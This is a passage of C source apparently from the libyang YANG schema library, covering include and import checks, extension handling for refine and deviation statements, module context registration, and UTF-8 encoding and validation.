LY_VLOG_NONE, NULL, "Including multiple revisions of submodule \"%s\".", name); return -1; } /* the same module is already included in some other submodule, return it */ (*sub) = (struct lys_submodule *)parsed_sub[i]; return 1; } } } /* no duplicity found */ return 0; } /* returns: * 0 - inc successfully filled * -1 - error */ int lyp_check_include(struct lys_module *module, const char *value, struct lys_include *inc, struct unres_schema *unres) { int i; /* check that the submodule was not included yet */ i = lyp_check_includedup(module, value, inc, &inc->submodule); if (i == -1) { return -1; } else if (i == 1) { return 0; } /* submodule is not yet loaded */ /* circular include check */ if (lyp_check_circmod(module, value, 0)) { return -1; } /* try to load the submodule */ inc->submodule = (struct lys_submodule *)ly_ctx_load_sub_module(module->ctx, module, value, inc->rev[0] ? inc->rev : NULL, 1, unres); /* check the result */ if (!inc->submodule) { if (ly_errno != LY_EVALID) { LOGVAL(module->ctx, LYE_INARG, LY_VLOG_NONE, NULL, value, "include"); } LOGERR(module->ctx, LY_EVALID, "Including \"%s\" module into \"%s\" failed.", value, module->name); return -1; } /* check the revision */ if (inc->rev[0] && inc->submodule->rev_size && strcmp(inc->rev, inc->submodule->rev[0].date)) { LOGERR(module->ctx, LY_EVALID, "\"%s\" include of submodule \"%s\" in revision \"%s\" not found.", module->name, value, inc->rev); unres_schema_free((struct lys_module *)inc->submodule, &unres, 0); lys_sub_module_remove_devs_augs((struct lys_module *)inc->submodule); lys_submodule_module_data_free((struct lys_submodule *)inc->submodule); lys_submodule_free(inc->submodule, NULL); inc->submodule = NULL; return -1; } /* store the submodule as successfully parsed */ lyp_add_includedup(module, inc->submodule); return 0; } static int lyp_check_include_missing_recursive(struct lys_module *main_module, struct lys_submodule *sub) { uint8_t i, j; void *reallocated; int ret = 0, tmp; struct ly_ctx *ctx = main_module->ctx; for (i = 0; i < sub->inc_size; i++) { /* check that the include is also present in the main module */ for (j = 0; j < main_module->inc_size; j++) { if (main_module->inc[j].submodule == sub->inc[i].submodule) { break; } } if (j == main_module->inc_size) { /* match not found */ if (main_module->version >= LYS_VERSION_1_1) { LOGVAL(ctx, LYE_MISSSTMT, LY_VLOG_NONE, NULL, "include"); LOGVAL(ctx, LYE_SPEC, LY_VLOG_NONE, NULL, "The main module \"%s\" misses include of the \"%s\" submodule used in another submodule \"%s\".", main_module->name, sub->inc[i].submodule->name, sub->name); /* now we should return error, but due to the issues with freeing the module, we actually have * to go through the all includes and, as in case of 1.0, add them into the main module and fail * at the end when all the includes are in the main module and we can free them */ ret = 1; } else { /* not strictly an error in YANG 1.0 */ LOGWRN(ctx, "The main module \"%s\" misses include of the \"%s\" submodule used in another submodule \"%s\".", main_module->name, sub->inc[i].submodule->name, sub->name); LOGWRN(ctx, "To avoid further issues, adding submodule \"%s\" into the main module \"%s\".", sub->inc[i].submodule->name, main_module->name); /* but since it is a good practise and because we expect all the includes in the main module * when searching it and also when freeing the module, put it into it */ } main_module->inc_size++; reallocated = realloc(main_module->inc, main_module->inc_size * sizeof *main_module->inc); LY_CHECK_ERR_RETURN(!reallocated, LOGMEM(ctx), 1); main_module->inc = reallocated; memset(&main_module->inc[main_module->inc_size - 1], 0, sizeof *main_module->inc); /* to avoid unexpected consequences, copy just a link to the submodule and the revision, * all other substatements of the include are ignored */ memcpy(&main_module->inc[main_module->inc_size - 1].rev, sub->inc[i].rev, LY_REV_SIZE - 1); main_module->inc[main_module->inc_size - 1].submodule = sub->inc[i].submodule; } /* recursion */ tmp = lyp_check_include_missing_recursive(main_module, sub->inc[i].submodule); if (!ret && tmp) { ret = 1; } } return ret; } int lyp_check_include_missing(struct lys_module *main_module) { int ret = 0; uint8_t i; /* in YANG 1.1, all the submodules must be in the main module, check it even for * 1.0 where it will be printed as warning and the include will be added into the main module */ for (i = 0; i < main_module->inc_size; i++) { if (lyp_check_include_missing_recursive(main_module, main_module->inc[i].submodule)) { ret = 1; } } return ret; } /* returns: * 0 - imp successfully filled * -1 - error, imp not cleaned */ int lyp_check_import(struct lys_module *module, const char *value, struct lys_import *imp) { int i; struct lys_module *dup = NULL; struct ly_ctx *ctx = module->ctx; /* check for importing a single module in multiple revisions */ for (i = 0; i < module->imp_size; i++) { if (!module->imp[i].module) { /* skip the not yet filled records */ continue; } if (ly_strequal(module->imp[i].module->name, value, 1)) { /* check revisions, including multiple revisions of a single module is error */ if (imp->rev[0] && (!module->imp[i].module->rev_size || strcmp(module->imp[i].module->rev[0].date, imp->rev))) { /* the already imported module has * - no revision, but here we require some * - different revision than the one required here */ LOGVAL(ctx, LYE_INARG, LY_VLOG_NONE, NULL, value, "import"); LOGVAL(ctx, LYE_SPEC, LY_VLOG_NONE, NULL, "Importing multiple revisions of module \"%s\".", value); return -1; } else if (!imp->rev[0]) { /* no revision, remember the duplication, but check revisions after loading the module * because the current revision can be the same (then it is ok) or it can differ (then it * is error */ dup = module->imp[i].module; break; } /* there is duplication, but since prefixes differs (checked in caller of this function), * it is ok */ imp->module = module->imp[i].module; return 0; } } /* circular import check */ if (lyp_check_circmod(module, value, 1)) { return -1; } /* load module - in specific situations it tries to get the module from the context */ imp->module = (struct lys_module *)ly_ctx_load_sub_module(module->ctx, NULL, value, imp->rev[0] ? imp->rev : NULL, module->ctx->models.flags & LY_CTX_ALLIMPLEMENTED ? 1 : 0, NULL); /* check the result */ if (!imp->module) { LOGERR(ctx, LY_EVALID, "Importing \"%s\" module into \"%s\" failed.", value, module->name); return -1; } if (imp->rev[0] && imp->module->rev_size && strcmp(imp->rev, imp->module->rev[0].date)) { LOGERR(ctx, LY_EVALID, "\"%s\" import of module \"%s\" in revision \"%s\" not found.", module->name, value, imp->rev); return -1; } if (dup) { /* check the revisions */ if ((dup != imp->module) || (dup->rev_size != imp->module->rev_size && (!dup->rev_size || imp->module->rev_size)) || (dup->rev_size && strcmp(dup->rev[0].date, imp->module->rev[0].date))) { /* - modules are not the same * - one of modules has no revision (except they both has no revision) * - revisions of the modules are not the same */ LOGVAL(ctx, LYE_INARG, LY_VLOG_NONE, NULL, value, "import"); LOGVAL(ctx, LYE_SPEC, LY_VLOG_NONE, NULL, "Importing multiple revisions of module \"%s\".", value); return -1; } else { LOGWRN(ctx, "Module \"%s\" is imported by \"%s\" multiple times with different prefixes.", dup->name, module->name); } } return 0; } /* * put the newest revision to the first position */ void lyp_sort_revisions(struct lys_module *module) { uint8_t i, r; struct lys_revision rev; for (i = 1, r = 0; i < module->rev_size; i++) { if (strcmp(module->rev[i].date, module->rev[r].date) > 0) { r = i; } } if (r) { /* the newest revision is not on position 0, switch them */ memcpy(&rev, &module->rev[0], sizeof rev); memcpy(&module->rev[0], &module->rev[r], sizeof rev); memcpy(&module->rev[r], &rev, sizeof rev); } } void lyp_ext_instance_rm(struct ly_ctx *ctx, struct lys_ext_instance ***ext, uint8_t *size, uint8_t index) { uint8_t i; lys_extension_instances_free(ctx, (*ext)[index]->ext, (*ext)[index]->ext_size, NULL); lydict_remove(ctx, (*ext)[index]->arg_value); free((*ext)[index]); /* move the rest of the array */ for (i = index + 1; i < (*size); i++) { (*ext)[i - 1] = (*ext)[i]; } /* clean the last cell in the array structure */ (*ext)[(*size) - 1] = NULL; /* the array is not reallocated here, just change its size */ (*size) = (*size) - 1; if (!(*size)) { /* ext array is empty */ free((*ext)); ext = NULL; } } static int lyp_rfn_apply_ext_(struct lys_refine *rfn, struct lys_node *target, LYEXT_SUBSTMT substmt, struct lys_ext *extdef) { struct ly_ctx *ctx; int m, n; struct lys_ext_instance *new; void *reallocated; ctx = target->module->ctx; /* shortcut */ m = n = -1; while ((m = lys_ext_iter(rfn->ext, rfn->ext_size, m + 1, substmt)) != -1) { /* refine's substatement includes extensions, copy them to the target, replacing the previous * substatement's extensions if any. In case of refining the extension itself, we are going to * replace only the same extension (pointing to the same definition) */ if (substmt == LYEXT_SUBSTMT_SELF && rfn->ext[m]->def != extdef) { continue; } /* get the index of the extension to replace in the target node */ do { n = lys_ext_iter(target->ext, target->ext_size, n + 1, substmt); } while (n != -1 && substmt == LYEXT_SUBSTMT_SELF && target->ext[n]->def != extdef); /* TODO cover complex extension instances */ if (n == -1) { /* nothing to replace, we are going to add it - reallocate */ new = malloc(sizeof **target->ext); LY_CHECK_ERR_RETURN(!new, LOGMEM(ctx), EXIT_FAILURE); reallocated = realloc(target->ext, (target->ext_size + 1) * sizeof *target->ext); LY_CHECK_ERR_RETURN(!reallocated, LOGMEM(ctx); free(new), EXIT_FAILURE); target->ext = reallocated; target->ext_size++; /* init */ n = target->ext_size - 1; target->ext[n] = new; target->ext[n]->parent = target; target->ext[n]->parent_type = LYEXT_PAR_NODE; target->ext[n]->flags = 0; target->ext[n]->insubstmt = substmt; target->ext[n]->priv = NULL; target->ext[n]->nodetype = LYS_EXT; target->ext[n]->module = target->module; } else { /* replacing - first remove the allocated data from target */ lys_extension_instances_free(ctx, target->ext[n]->ext, target->ext[n]->ext_size, NULL); lydict_remove(ctx, target->ext[n]->arg_value); } /* common part for adding and replacing */ target->ext[n]->def = rfn->ext[m]->def; /* parent and parent_type do not change */ target->ext[n]->arg_value = lydict_insert(ctx, rfn->ext[m]->arg_value, 0); /* flags do not change */ target->ext[n]->ext_size = rfn->ext[m]->ext_size; lys_ext_dup(ctx, target->module, rfn->ext[m]->ext, rfn->ext[m]->ext_size, target, LYEXT_PAR_NODE, &target->ext[n]->ext, 0, NULL); /* substmt does not change, but the index must be taken from the refine */ target->ext[n]->insubstmt_index = rfn->ext[m]->insubstmt_index; } /* remove the rest of extensions belonging to the original substatement in the target node */ while ((n = lys_ext_iter(target->ext, target->ext_size, n + 1, substmt)) != -1) { if (substmt == LYEXT_SUBSTMT_SELF && target->ext[n]->def != extdef) { /* keep this extension */ continue; } /* remove the item */ lyp_ext_instance_rm(ctx, &target->ext, &target->ext_size, n); --n; } return EXIT_SUCCESS; } /* * apply extension instances defined under refine's substatements. * It cannot be done immediately when applying the refine because there can be * still unresolved data (e.g. type) and mainly the targeted extension instances. */ int lyp_rfn_apply_ext(struct lys_module *module) { int i, k, a = 0; struct lys_node *root, *nextroot, *next, *node; struct lys_node *target; struct lys_node_uses *uses; struct lys_refine *rfn; struct ly_set *extset; /* refines in uses */ LY_TREE_FOR_SAFE(module->data, nextroot, root) { /* go through the data tree of the module and all the defined augments */ LY_TREE_DFS_BEGIN(root, next, node) { if (node->nodetype == LYS_USES) { uses = (struct lys_node_uses *)node; for (i = 0; i < uses->refine_size; i++) { if (!uses->refine[i].ext_size) { /* no extensions in refine */ continue; } rfn = &uses->refine[i]; /* shortcut */ /* get the target node */ target = NULL; resolve_descendant_schema_nodeid(rfn->target_name, uses->child, LYS_NO_RPC_NOTIF_NODE | LYS_ACTION | LYS_NOTIF, 0, (const struct lys_node **)&target); if (!target) { /* it should always succeed since the target_name was already resolved at least * once when the refine itself was being resolved */ LOGINT(module->ctx);; return EXIT_FAILURE; } /* extensions */ extset = ly_set_new(); k = -1; while ((k = lys_ext_iter(rfn->ext, rfn->ext_size, k + 1, LYEXT_SUBSTMT_SELF)) != -1) { ly_set_add(extset, rfn->ext[k]->def, 0); } for (k = 0; (unsigned int)k < extset->number; k++) { if (lyp_rfn_apply_ext_(rfn, target, LYEXT_SUBSTMT_SELF, (struct lys_ext *)extset->set.g[k])) { ly_set_free(extset); return EXIT_FAILURE; } } ly_set_free(extset); /* description */ if (rfn->dsc && lyp_rfn_apply_ext_(rfn, target, LYEXT_SUBSTMT_DESCRIPTION, NULL)) { return EXIT_FAILURE; } /* reference */ if (rfn->ref && lyp_rfn_apply_ext_(rfn, target, LYEXT_SUBSTMT_REFERENCE, NULL)) { return EXIT_FAILURE; } /* config, in case of notification or rpc/action{notif, the config is not applicable * (there is no config status) */ if ((rfn->flags & LYS_CONFIG_MASK) && (target->flags & LYS_CONFIG_MASK)) { if (lyp_rfn_apply_ext_(rfn, target, LYEXT_SUBSTMT_CONFIG, NULL)) { return EXIT_FAILURE; } } /* default value */ if (rfn->dflt_size && lyp_rfn_apply_ext_(rfn, target, LYEXT_SUBSTMT_DEFAULT, NULL)) { return EXIT_FAILURE; } /* mandatory */ if (rfn->flags & LYS_MAND_MASK) { if (lyp_rfn_apply_ext_(rfn, target, LYEXT_SUBSTMT_MANDATORY, NULL)) { return EXIT_FAILURE; } } /* presence */ if ((target->nodetype & LYS_CONTAINER) && rfn->mod.presence) { if (lyp_rfn_apply_ext_(rfn, target, LYEXT_SUBSTMT_PRESENCE, NULL)) { return EXIT_FAILURE; } } /* min/max */ if (rfn->flags & LYS_RFN_MINSET) { if (lyp_rfn_apply_ext_(rfn, target, LYEXT_SUBSTMT_MIN, NULL)) { return EXIT_FAILURE; } } if (rfn->flags & LYS_RFN_MAXSET) { if (lyp_rfn_apply_ext_(rfn, target, LYEXT_SUBSTMT_MAX, NULL)) { return EXIT_FAILURE; } } /* must and if-feature contain extensions on their own, not needed to be solved here */ if (target->ext_size) { /* the allocated target's extension array can be now longer than needed in case * there is less refine substatement's extensions than in original. Since we are * going to reduce or keep the same memory, it is not necessary to test realloc's result */ target->ext = realloc(target->ext, target->ext_size * sizeof *target->ext); } } } LY_TREE_DFS_END(root, next, node) } if (!nextroot && a < module->augment_size) { nextroot = module->augment[a].child; a++; } } return EXIT_SUCCESS; } /* * check mandatory substatements defined under extension instances. */ int lyp_mand_check_ext(struct lys_ext_instance_complex *ext, const char *ext_name) { void *p; int i; struct ly_ctx *ctx = ext->module->ctx; /* check for mandatory substatements */ for (i = 0; ext->substmt[i].stmt; i++) { if (ext->substmt[i].cardinality == LY_STMT_CARD_OPT || ext->substmt[i].cardinality == LY_STMT_CARD_ANY) { /* not a mandatory */ continue; } else if (ext->substmt[i].cardinality == LY_STMT_CARD_SOME) { goto array; } /* * LY_STMT_ORDEREDBY - not checked, has a default value which is the same as explicit system order * LY_STMT_MODIFIER, LY_STMT_STATUS, LY_STMT_MANDATORY, LY_STMT_CONFIG - checked, but mandatory requirement * does not make sense since there is also a default value specified */ switch(ext->substmt[i].stmt) { case LY_STMT_ORDEREDBY: /* always ok */ break; case LY_STMT_REQINSTANCE: case LY_STMT_DIGITS: case LY_STMT_MODIFIER: p = lys_ext_complex_get_substmt(ext->substmt[i].stmt, ext, NULL); if (!*(uint8_t*)p) { LOGVAL(ctx, LYE_MISSCHILDSTMT, LY_VLOG_NONE, NULL, ly_stmt_str[ext->substmt[i].stmt], ext_name); goto error; } break; case LY_STMT_STATUS: p = lys_ext_complex_get_substmt(ext->substmt[i].stmt, ext, NULL); if (!(*(uint16_t*)p & LYS_STATUS_MASK)) { LOGVAL(ctx, LYE_MISSCHILDSTMT, LY_VLOG_NONE, NULL, ly_stmt_str[ext->substmt[i].stmt], ext_name); goto error; } break; case LY_STMT_MANDATORY: p = lys_ext_complex_get_substmt(ext->substmt[i].stmt, ext, NULL); if (!(*(uint16_t*)p & LYS_MAND_MASK)) { LOGVAL(ctx, LYE_MISSCHILDSTMT, LY_VLOG_NONE, NULL, ly_stmt_str[ext->substmt[i].stmt], ext_name); goto error; } break; case LY_STMT_CONFIG: p = lys_ext_complex_get_substmt(ext->substmt[i].stmt, ext, NULL); if (!(*(uint16_t*)p & LYS_CONFIG_MASK)) { LOGVAL(ctx, LYE_MISSCHILDSTMT, LY_VLOG_NONE, NULL, ly_stmt_str[ext->substmt[i].stmt], ext_name); goto error; } break; default: array: /* stored as a pointer */ p = lys_ext_complex_get_substmt(ext->substmt[i].stmt, ext, NULL); if (!(*(void**)p)) { LOGVAL(ctx, LYE_MISSCHILDSTMT, LY_VLOG_NONE, NULL, ly_stmt_str[ext->substmt[i].stmt], ext_name); goto error; } break; } } return EXIT_SUCCESS; error: return EXIT_FAILURE; } static int lyp_deviate_del_ext(struct lys_node *target, struct lys_ext_instance *ext) { int n = -1, found = 0; char *path; while ((n = lys_ext_iter(target->ext, target->ext_size, n + 1, ext->insubstmt)) != -1) { if (target->ext[n]->def != ext->def) { continue; } if (ext->def->argument) { /* check matching arguments */ if (!ly_strequal(target->ext[n]->arg_value, ext->arg_value, 1)) { continue; } } /* we have the matching extension - remove it */ ++found; lyp_ext_instance_rm(target->module->ctx, &target->ext, &target->ext_size, n); --n; } if (!found) { path = lys_path(target, LYS_PATH_FIRST_PREFIX); LOGERR(target->module->ctx, LY_EVALID, "Extension deviation: extension \"%s\" to delete not found in \"%s\".", ext->def->name, path) free(path); return EXIT_FAILURE; } return EXIT_SUCCESS; } static int lyp_deviate_apply_ext(struct lys_deviate *dev, struct lys_node *target, LYEXT_SUBSTMT substmt, struct lys_ext *extdef) { struct ly_ctx *ctx; int m, n; struct lys_ext_instance *new; void *reallocated; /* LY_DEVIATE_ADD and LY_DEVIATE_RPL are very similar so they are implement the same way - in replacing, * there can be some extension instances in the target, in case of adding, there should not be any so we * will be just adding. */ ctx = target->module->ctx; /* shortcut */ m = n = -1; while ((m = lys_ext_iter(dev->ext, dev->ext_size, m + 1, substmt)) != -1) { /* deviate and its substatements include extensions, copy them to the target, replacing the previous * extensions if any. In case of deviating extension itself, we have to deviate only the same type * of the extension as specified in the deviation */ if (substmt == LYEXT_SUBSTMT_SELF && dev->ext[m]->def != extdef) { continue; } if (substmt == LYEXT_SUBSTMT_SELF && dev->mod == LY_DEVIATE_ADD) { /* in case of adding extension, we will be replacing only the inherited extensions */ do { n = lys_ext_iter(target->ext, target->ext_size, n + 1, substmt); } while (n != -1 && (target->ext[n]->def != extdef || !(target->ext[n]->flags & LYEXT_OPT_INHERIT))); } else { /* get the index of the extension to replace in the target node */ do { n = lys_ext_iter(target->ext, target->ext_size, n + 1, substmt); /* if we are applying extension deviation, we have to deviate only the same type of the extension */ } while (n != -1 && substmt == LYEXT_SUBSTMT_SELF && target->ext[n]->def != extdef); } if (n == -1) { /* nothing to replace, we are going to add it - reallocate */ new = malloc(sizeof **target->ext); LY_CHECK_ERR_RETURN(!new, LOGMEM(ctx), EXIT_FAILURE); reallocated = realloc(target->ext, (target->ext_size + 1) * sizeof *target->ext); LY_CHECK_ERR_RETURN(!reallocated, LOGMEM(ctx); free(new), EXIT_FAILURE); target->ext = reallocated; target->ext_size++; n = target->ext_size - 1; } else { /* replacing - the original set of extensions is actually backuped together with the * node itself, so we are supposed only to free the allocated data here ... */ lys_extension_instances_free(ctx, target->ext[n]->ext, target->ext[n]->ext_size, NULL); lydict_remove(ctx, target->ext[n]->arg_value); free(target->ext[n]); /* and prepare the new structure */ new = malloc(sizeof **target->ext); LY_CHECK_ERR_RETURN(!new, LOGMEM(ctx), EXIT_FAILURE); } /* common part for adding and replacing - fill the newly created / replaced cell */ target->ext[n] = new; target->ext[n]->def = dev->ext[m]->def; target->ext[n]->arg_value = lydict_insert(ctx, dev->ext[m]->arg_value, 0); target->ext[n]->flags = 0; target->ext[n]->parent = target; target->ext[n]->parent_type = LYEXT_PAR_NODE; target->ext[n]->insubstmt = substmt; target->ext[n]->insubstmt_index = dev->ext[m]->insubstmt_index; target->ext[n]->ext_size = dev->ext[m]->ext_size; lys_ext_dup(ctx, target->module, dev->ext[m]->ext, dev->ext[m]->ext_size, target, LYEXT_PAR_NODE, &target->ext[n]->ext, 1, NULL); target->ext[n]->nodetype = LYS_EXT; target->ext[n]->module = target->module; target->ext[n]->priv = NULL; /* TODO cover complex extension instances */ } /* remove the rest of extensions belonging to the original substatement in the target node, * due to possible reverting of the deviation effect, they are actually not removed, just moved * to the backup of the original node when the original node is backuped, here we just have to * free the replaced / deleted originals */ while ((n = lys_ext_iter(target->ext, target->ext_size, n + 1, substmt)) != -1) { if (substmt == LYEXT_SUBSTMT_SELF) { /* if we are applying extension deviation, we are going to remove only * - the same type of the extension in case of replacing * - the same type of the extension which was inherited in case of adding * note - delete deviation is covered in lyp_deviate_del_ext */ if (target->ext[n]->def != extdef || (dev->mod == LY_DEVIATE_ADD && !(target->ext[n]->flags & LYEXT_OPT_INHERIT))) { /* keep this extension */ continue; } } /* remove the item */ lyp_ext_instance_rm(ctx, &target->ext, &target->ext_size, n); --n; } return EXIT_SUCCESS; } /* * not-supported deviations are not processed since they affect the complete node, not just their substatements */ int lyp_deviation_apply_ext(struct lys_module *module) { int i, j, k; struct lys_deviate *dev; struct lys_node *target; struct ly_set *extset; for (i = 0; i < module->deviation_size; i++) { target = NULL; extset = NULL; j = resolve_schema_nodeid(module->deviation[i].target_name, NULL, module, &extset, 0, 0); if (j == -1) { return EXIT_FAILURE; } else if (!extset) { /* LY_DEVIATE_NO */ ly_set_free(extset); continue; } target = extset->set.s[0]; ly_set_free(extset); for (j = 0; j < module->deviation[i].deviate_size; j++) { dev = &module->deviation[i].deviate[j]; if (!dev->ext_size) { /* no extensions in deviate and its substatement, nothing to do here */ continue; } /* extensions */ if (dev->mod == LY_DEVIATE_DEL) { k = -1; while ((k = lys_ext_iter(dev->ext, dev->ext_size, k + 1, LYEXT_SUBSTMT_SELF)) != -1) { if (lyp_deviate_del_ext(target, dev->ext[k])) { return EXIT_FAILURE; } } /* In case of LY_DEVIATE_DEL, we are applying only extension deviation, removing * of the substatement's extensions was already done when the substatement was applied. * Extension deviation could not be applied by the parser since the extension could be unresolved, * which is not the issue of the other substatements. */ continue; } else { extset = ly_set_new(); k = -1; while ((k = lys_ext_iter(dev->ext, dev->ext_size, k + 1, LYEXT_SUBSTMT_SELF)) != -1) { ly_set_add(extset, dev->ext[k]->def, 0); } for (k = 0; (unsigned int)k < extset->number; k++) { if (lyp_deviate_apply_ext(dev, target, LYEXT_SUBSTMT_SELF, (struct lys_ext *)extset->set.g[k])) { ly_set_free(extset); return EXIT_FAILURE; } } ly_set_free(extset); } /* unique */ if (dev->unique_size && lyp_deviate_apply_ext(dev, target, LYEXT_SUBSTMT_UNIQUE, NULL)) { return EXIT_FAILURE; } /* units */ if (dev->units && lyp_deviate_apply_ext(dev, target, LYEXT_SUBSTMT_UNITS, NULL)) { return EXIT_FAILURE; } /* default */ if (dev->dflt_size && lyp_deviate_apply_ext(dev, target, LYEXT_SUBSTMT_DEFAULT, NULL)) { return EXIT_FAILURE; } /* config */ if ((dev->flags & LYS_CONFIG_MASK) && lyp_deviate_apply_ext(dev, target, LYEXT_SUBSTMT_CONFIG, NULL)) { return EXIT_FAILURE; } /* mandatory */ if ((dev->flags & LYS_MAND_MASK) && lyp_deviate_apply_ext(dev, target, LYEXT_SUBSTMT_MANDATORY, NULL)) { return EXIT_FAILURE; } /* min/max */ if (dev->min_set && lyp_deviate_apply_ext(dev, target, LYEXT_SUBSTMT_MIN, NULL)) { return EXIT_FAILURE; } if (dev->min_set && lyp_deviate_apply_ext(dev, target, LYEXT_SUBSTMT_MAX, NULL)) { return EXIT_FAILURE; } /* type and must contain extension instances in their structures */ } } return EXIT_SUCCESS; } int lyp_ctx_check_module(struct lys_module *module) { struct ly_ctx *ctx; int i, match_i = -1, to_implement; const char *last_rev = NULL; assert(module); to_implement = 0; ctx = module->ctx; /* find latest revision */ for (i = 0; i < module->rev_size; ++i) { if (!last_rev || (strcmp(last_rev, module->rev[i].date) < 0)) { last_rev = module->rev[i].date; } } for (i = 0; i < ctx->models.used; i++) { /* check name (name/revision) and namespace uniqueness */ if (!strcmp(ctx->models.list[i]->name, module->name)) { if (to_implement) { if (i == match_i) { continue; } LOGERR(ctx, LY_EINVAL, "Module \"%s@%s\" in another revision \"%s\" already implemented.", module->name, last_rev ? last_rev : "<latest>", ctx->models.list[i]->rev[0].date); return -1; } else if (!ctx->models.list[i]->rev_size && module->rev_size) { LOGERR(ctx, LY_EINVAL, "Module \"%s\" without revision already in context.", module->name); return -1; } else if (ctx->models.list[i]->rev_size && !module->rev_size) { LOGERR(ctx, LY_EINVAL, "Module \"%s\" with revision \"%s\" already in context.", module->name, ctx->models.list[i]->rev[0].date); return -1; } else if ((!module->rev_size && !ctx->models.list[i]->rev_size) || !strcmp(ctx->models.list[i]->rev[0].date, last_rev)) { LOGVRB("Module \"%s@%s\" already in context.", module->name, last_rev ? last_rev : "<latest>"); /* if disabled, enable first */ if (ctx->models.list[i]->disabled) { lys_set_enabled(ctx->models.list[i]); } to_implement = module->implemented; match_i = i; if (to_implement && !ctx->models.list[i]->implemented) { /* check first that it is okay to change it to implemented */ i = -1; continue; } return 1; } else if (module->implemented && ctx->models.list[i]->implemented) { LOGERR(ctx, LY_EINVAL, "Module \"%s@%s\" in another revision \"%s\" already implemented.", module->name, last_rev ? last_rev : "<latest>", ctx->models.list[i]->rev[0].date); return -1; } /* else keep searching, for now the caller is just adding * another revision of an already present schema */ } else if (!strcmp(ctx->models.list[i]->ns, module->ns)) { LOGERR(ctx, LY_EINVAL, "Two different modules (\"%s\" and \"%s\") have the same namespace \"%s\".", ctx->models.list[i]->name, module->name, module->ns); return -1; } } if (to_implement) { if (lys_set_implemented(ctx->models.list[match_i])) { return -1; } return 1; } return 0; } int lyp_ctx_add_module(struct lys_module *module) { struct lys_module **newlist = NULL; int i; assert(!lyp_ctx_check_module(module)); #ifndef NDEBUG int j; /* check that all augments are resolved */ for (i = 0; i < module->augment_size; ++i) { assert(module->augment[i].target); } for (i = 0; i < module->inc_size; ++i) { for (j = 0; j < module->inc[i].submodule->augment_size; ++j) { assert(module->inc[i].submodule->augment[j].target); } } #endif /* add to the context's list of modules */ if (module->ctx->models.used == module->ctx->models.size) { newlist = realloc(module->ctx->models.list, (2 * module->ctx->models.size) * sizeof *newlist); LY_CHECK_ERR_RETURN(!newlist, LOGMEM(module->ctx), -1); for (i = module->ctx->models.size; i < module->ctx->models.size * 2; i++) { newlist[i] = NULL; } module->ctx->models.size *= 2; module->ctx->models.list = newlist; } module->ctx->models.list[module->ctx->models.used++] = module; module->ctx->models.module_set_id++; return 0; } /** * Store UTF-8 character specified as 4byte integer into the dst buffer. * Returns number of written bytes (4 max), expects that dst has enough space. * * UTF-8 mapping: * 00000000 -- 0000007F: 0xxxxxxx * 00000080 -- 000007FF: 110xxxxx 10xxxxxx * 00000800 -- 0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx * 00010000 -- 001FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx * * Includes checking for valid characters (following RFC 7950, sec 9.4) */ unsigned int pututf8(struct ly_ctx *ctx, char *dst, int32_t value) { if (value < 0x80) { /* one byte character */ if (value < 0x20 && value != 0x09 && value != 0x0a && value != 0x0d) { goto error; } dst[0] = value; return 1; } else if (value < 0x800) { /* two bytes character */ dst[0] = 0xc0 | (value >> 6); dst[1] = 0x80 | (value & 0x3f); return 2; } else if (value < 0xfffe) { /* three bytes character */ if (((value & 0xf800) == 0xd800) || (value >= 0xfdd0 && value <= 0xfdef)) { /* exclude surrogate blocks %xD800-DFFF */ /* exclude noncharacters %xFDD0-FDEF */ goto error; } dst[0] = 0xe0 | (value >> 12); dst[1] = 0x80 | ((value >> 6) & 0x3f); dst[2] = 0x80 | (value & 0x3f); return 3; } else if (value < 0x10fffe) { if ((value & 0xffe) == 0xffe) { /* exclude noncharacters %xFFFE-FFFF, %x1FFFE-1FFFF, %x2FFFE-2FFFF, %x3FFFE-3FFFF, %x4FFFE-4FFFF, * %x5FFFE-5FFFF, %x6FFFE-6FFFF, %x7FFFE-7FFFF, %x8FFFE-8FFFF, %x9FFFE-9FFFF, %xAFFFE-AFFFF, * %xBFFFE-BFFFF, %xCFFFE-CFFFF, %xDFFFE-DFFFF, %xEFFFE-EFFFF, %xFFFFE-FFFFF, %x10FFFE-10FFFF */ goto error; } /* four bytes character */ dst[0] = 0xf0 | (value >> 18); dst[1] = 0x80 | ((value >> 12) & 0x3f); dst[2] = 0x80 | ((value >> 6) & 0x3f); dst[3] = 0x80 | (value & 0x3f); return 4; } error: /* out of range */ LOGVAL(ctx, LYE_XML_INCHAR, LY_VLOG_NONE, NULL, NULL); LOGVAL(ctx, LYE_SPEC, LY_VLOG_NONE, NULL, "Invalid UTF-8 value 0x%08x", value); return 0; } unsigned int copyutf8(struct ly_ctx *ctx, char *dst, const char *src) { uint32_t value; /* unicode characters */ if (!(src[0] & 0x80)) { /* one byte character */ if (src[0] < 0x20 && src[0] != 0x09 && src[0] != 0x0a && src[0] != 0x0d) { LOGVAL(ctx, LYE_XML_INCHAR, LY_VLOG_NONE, NULL, src); LOGVAL(ctx, LYE_SPEC, LY_VLOG_NONE, NULL, "Invalid UTF-8 value 0x%02x", src[0]); return 0; } dst[0] = src[0]; return 1; } else if (!(src[0] & 0x20)) { /* two bytes character */ dst[0] = src[0]; dst[1] = src[1]; return 2; } else if (!(src[0] & 0x10)) { /* three bytes character */ value = ((uint32_t)(src[0] & 0xf) << 12) | ((uint32_t)(src[1] & 0x3f) << 6) | (src[2] & 0x3f); if (((value & 0xf800) == 0xd800) || (value >= 0xfdd0 && value <= 0xfdef) || (value & 0xffe) == 0xffe) { /* exclude surrogate blocks %xD800-DFFF */ /* exclude noncharacters %xFDD0-FDEF */ /* exclude noncharacters %xFFFE-FFFF */ LOGVAL(ctx, LYE_XML_INCHAR, LY_VLOG_NONE, NULL, src); LOGVAL(ctx, LYE_SPEC, LY_VLOG_NONE, NULL, "Invalid UTF-8 value 0x%08x", value); return 0; } dst[0] = src[0]; dst[1] = src[1]; dst[2] = src[2]; return 3; } else if (!(src[0] & 0x08)) { /* four bytes character */ value = ((uint32_t)(src[0] & 0x7) << 18) | ((uint32_t)(src[1] & 0x3f) << 12) | ((uint32_t)(src[2] & 0x3f) << 6) | (src[3] & 0x3f); if ((value & 0xffe) == 0xffe) { /* exclude noncharacters %x1FFFE-1FFFF, %x2FFFE-2FFFF, %x3FFFE-3FFFF, %x4FFFE-4FFFF, * %x5FFFE-5FFFF, %x6FFFE-6FFFF, %x7FFFE-7FFFF, %x8FFFE-8FFFF, %x9FFFE-9FFFF, %xAFFFE-AFFFF, * %xBFFFE-BFFFF, %xCFFFE-CFFFF, %xDFFFE-DFFFF, %xEFFFE-EFFFF, 